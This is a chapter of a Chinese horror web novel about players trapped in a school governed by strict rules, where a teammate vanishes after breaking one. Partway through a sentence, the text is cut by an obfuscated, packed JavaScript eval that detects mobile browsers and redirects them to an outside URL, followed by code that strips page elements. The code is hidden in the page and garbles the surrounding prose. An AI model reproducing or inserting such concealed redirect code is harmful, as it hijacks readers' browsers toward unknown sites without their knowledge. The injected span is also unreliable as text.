隔绝了那些令人毛骨悚然的视线,洛伊稍松一口气,这才突然察觉,似乎少了个人。 “1号呢?”她问。 说起来,她还得再谢他一次,若不是他最后折返,及时将她拉进通道……她伤到的恐怕就不止是脚踝了。 想到这里,丁飞那句轻语又在耳边响起: “我以前见过你们两个……” 两个?指的是自己,和谁? 她正出神,只听见何成功叹了口气:“1号……被门口的那些‘东西’,带走了。” 洛伊猛地抬头:“带走了?” “嗯,因为他违反了‘规则’。”何成功捏了捏眉心,“也正是他被带走后,我们才真正知道……违反‘规则’的代价是什么。” “他违反了什么规则?会被带到哪?有生命危险吗?”洛伊一个个问题接连抛出。 “他……”何成功神色复杂,“他违反了‘宿舍篇’第七条。” 洛伊迅速查看: “在宿舍期间,请不要跟除了‘舍友’以外的人交流。” 舍友? 何成功和谢名扬之间、他们和自己之间都能正常交流,证明在定义上,他们的关系属于“舍友”。1号打破了规则,只能说明…… “他跟外面那群「学生」说话了?”洛伊皱皱眉。她不明白,这么明显的规则,1号为什么要故意违反。 “你大概翻翻册子,有没有发现有一个条件信息出现在很多规则里。”何成功没有直接回答洛伊的疑问。 洛伊不明所以,翻开手册迅速查找。 “请在早上九点到下午三点内离开宿舍……” “食堂将于中午十二点和下午六点开放,请准时到达……” “请勿连续在图书馆逗留超过三个小时……” 多次出现的条件信息…… 是时间!大半规则里都对时间做了限制! 何成功拿出了一个盒子,打开,里面躺着三只手表:“我们三个醒来的早,听到广播后,我们在规则允许的范围内向外探索了一番,几乎翻遍了整个宿舍楼,都没有找到任何能指示时间的工具。” 上关也是这样!时间就像被刻意抹去了! 洛伊心中警铃大作:“那这三只表……” 何成功叹了口气,走到洛伊对面的床铺坐下:“你翻到规则手册的最后一面。” 洛伊照做,那里赫然有一行用红色墨水写就的字迹: 他们不会拒绝你的任何要求。 “不会拒绝要求……所以1号找他们要了这些表?”洛伊问道。 何成功苦笑着点点头:“他说,在这里没有时间寸步难行,必须得做出突破。” “我们其实有考虑过用其他方法计时,比如看太阳的位置,看影子的朝向……可是,从我们醒来到现在,那些光影没有任何变化。”谢名扬一拳砸在铁架上,“不出意外,这里又是公司制造出来的‘虚假世界’,天亮与天黑都会在瞬间发生转换。” “我们不知道是否快到必须离开宿舍的时间了,那时你还昏迷着,我们不敢贸然离开宿舍,只能出此下策。” “他会被带去哪里,不知道。有没有生命危险,也不知道。”何成功无奈地摇摇头,继续回答洛伊的提问,“但是他被带走前嘱咐我们,一定要牢牢遵守规则,尽可能完成任务。” “任务?”洛伊确实记得在恍惚间,听到谢名扬提到过关于“任务”的事情。 谢名扬和何成功对视一眼,拿出了一张纸条:“这是广播给我们下达的任务。” 【任务清单】 「1.找到“小A”;」 「2.顺利通过“升学”考试。」 终于不用猜谜语了,这次的任务似乎还比较明确。 洛伊从一旁书桌里摸出一支红色的笔,在纸条上工工整整地写下了第三条: 「3.平安找回1号。」 她不会丢下任何一个队友。 “我们需要在72小时内完成任务,现在距离最后期限还有……”谢名扬推推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166733|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼镜,对着手表默算,“69个小时零15分钟。” “那么开始行动吧。”洛伊抬起受伤的脚,缓缓挪动下床。 “你的脚,能动吗?”何成功担心地看着一瘸一拐的洛伊,“你要不留在宿舍休息,我和谢名扬去找线索就行。” “不碍事。”洛伊试着让受伤的脚承力,许是止痛喷雾起了作用,除了血液涌向伤处出现的酸胀感,痛感几乎消失了。 “不用担心我拖你们后腿,我能照顾好我自己。”洛伊瞥了眼谢名扬。 “咳……快到六点了,按照‘食堂篇’规则,我们得到食堂报道了。”谢名扬不自在地咳了两声,他没想到洛伊还是听见了他的“效率降低”言论。 “你们先去吧,我看着时间慢慢走过去。”洛伊从盒子里拿出一只表带好。 何成功见她坚决,又想到规则里确实要求所有人在六点必须到达餐厅,便不好再劝。 他俩走后,洛伊整理好着装也准备出发。拉开门,门外空荡荡的,已经没了「学生」们的身影,想必他们也得遵循“六点食堂集合”这个规则。 她尽量把重心转移到左腿,扶着栏杆慢慢地往下挪。走出宿舍楼,漫步在校园里,天气异常晴朗,绿树成荫,洛伊深深呼吸了一口新鲜的空气,恍惚有一种已经回到正常生活中的错觉。 铃—— 下课铃打响,洛伊看了一眼表:5:45。 教学楼里一下子热闹起来,拖桌子声,嬉笑打闹声,争先恐后下楼的嘈杂脚步声在耳边响起。紧接着,楼道里潮水般涌出一波波穿着蓝白校服的青春少年。 如果不是看到了他们脸上那诡异而熟悉的标准微笑,洛伊几乎真的要相信自己已经回到了正常的世界。 「学生」们见到洛伊,脸上的笑容更灿,纷纷冲她点头,又一溜烟儿地向食堂冲去。 洛伊不敢回应他们,只能低着头,顺着他们的方向前行。 “你也被他们抛弃了吗?”耳后传来一个清脆的声音,洛伊浑身一僵,没有回头,继续往前走。 “不用怕。”那声音绕道了她面前,“我跟他们不一样。” 洛伊猛地抬头。眼前站着一个女学生,同样的蓝白校服,同样的齐耳短发,但她的脸上挂着好奇的神情,眼睛亮亮的,而不是那种标准的、诡异的、看似热情实则冷漠无比的微笑! 她真的和他们不一样! “没事,你害怕的话不用开口跟我交流,但是我得跟你强调一下,那条规则是「在宿舍期间,请不要跟除了‘舍友’以外的人交流。」不是吗?”女生笑得眼睛弯弯的,“现在我们不在宿舍里呀!手册里可没有规则禁止在外面交谈吧!” 洛伊反应过来,好像确实是这样。不过她还是保持谨慎,拿出规则手册翻阅。许久,她还真没有找到禁止在外交流的规则。 于是,她犹豫着开口:“你是谁?你怎么知道规则的存在?” “我是谁?”女生歪着头想了想,摇摇头,“我还没有找到答案。” “至于规则,每一条我都很熟悉。” 她望向远处奔跑的「人群」,声音里听不出情绪。 “因为我已经在这里……生活了三年了。”